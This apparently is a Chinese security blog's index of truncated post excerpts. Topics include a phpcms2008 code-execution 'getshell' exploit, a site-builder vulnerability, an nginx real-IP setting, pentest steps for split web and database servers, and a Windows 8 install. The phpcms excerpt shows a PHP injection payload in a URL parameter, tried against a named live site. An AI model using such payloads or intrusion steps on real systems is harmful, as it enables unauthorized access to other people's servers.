-

phpcms2008 代码执行 批量 getshell EXP
测试如下:http://www.xx.com/yp/product.php?pagesize=${@phpinfo()}测试结果:http://www.cnqiyou.com/yp/product.php?pagesize=${@phpin...
-
行业之星自助建站系统v0.87漏洞
//template_edit.phpfunction load_library($curr_template, $lib_name){ $lib_name = str_replace("0xa", '', $li...
-
nginx 如何显示真实ip
nginx做反向代理显示在后台访问的真实ip总是显示127.0.0.1只要添加如下内容: proxy_set_header Host $host; proxy_set_header X-Forwarded-For $remote_addr;...
-

渗透步骤-站库分离
折腾了半天,因为namp无果,注射工具跑不动。只能手动来了,原来终端端口是3389,总结下步骤的前后顺序, 先查看数据库-站是否分离,后 查看ip是否公网 省很多事情.经验:站库分离情况下,可以尝试从分站入手,或许分站和主站数据库是同一台服...
-

Windows 8预览版安装全过程
在微软发布Windows 8开发者预览版之后,引起了很大范围的关注。以下是virtualbox虚拟机中安装windows 8的截图,并配上了文字说明终于有正经的windows 8的协议了,开发者预览版协议主要申明了稳定性和可靠性内容的免责。...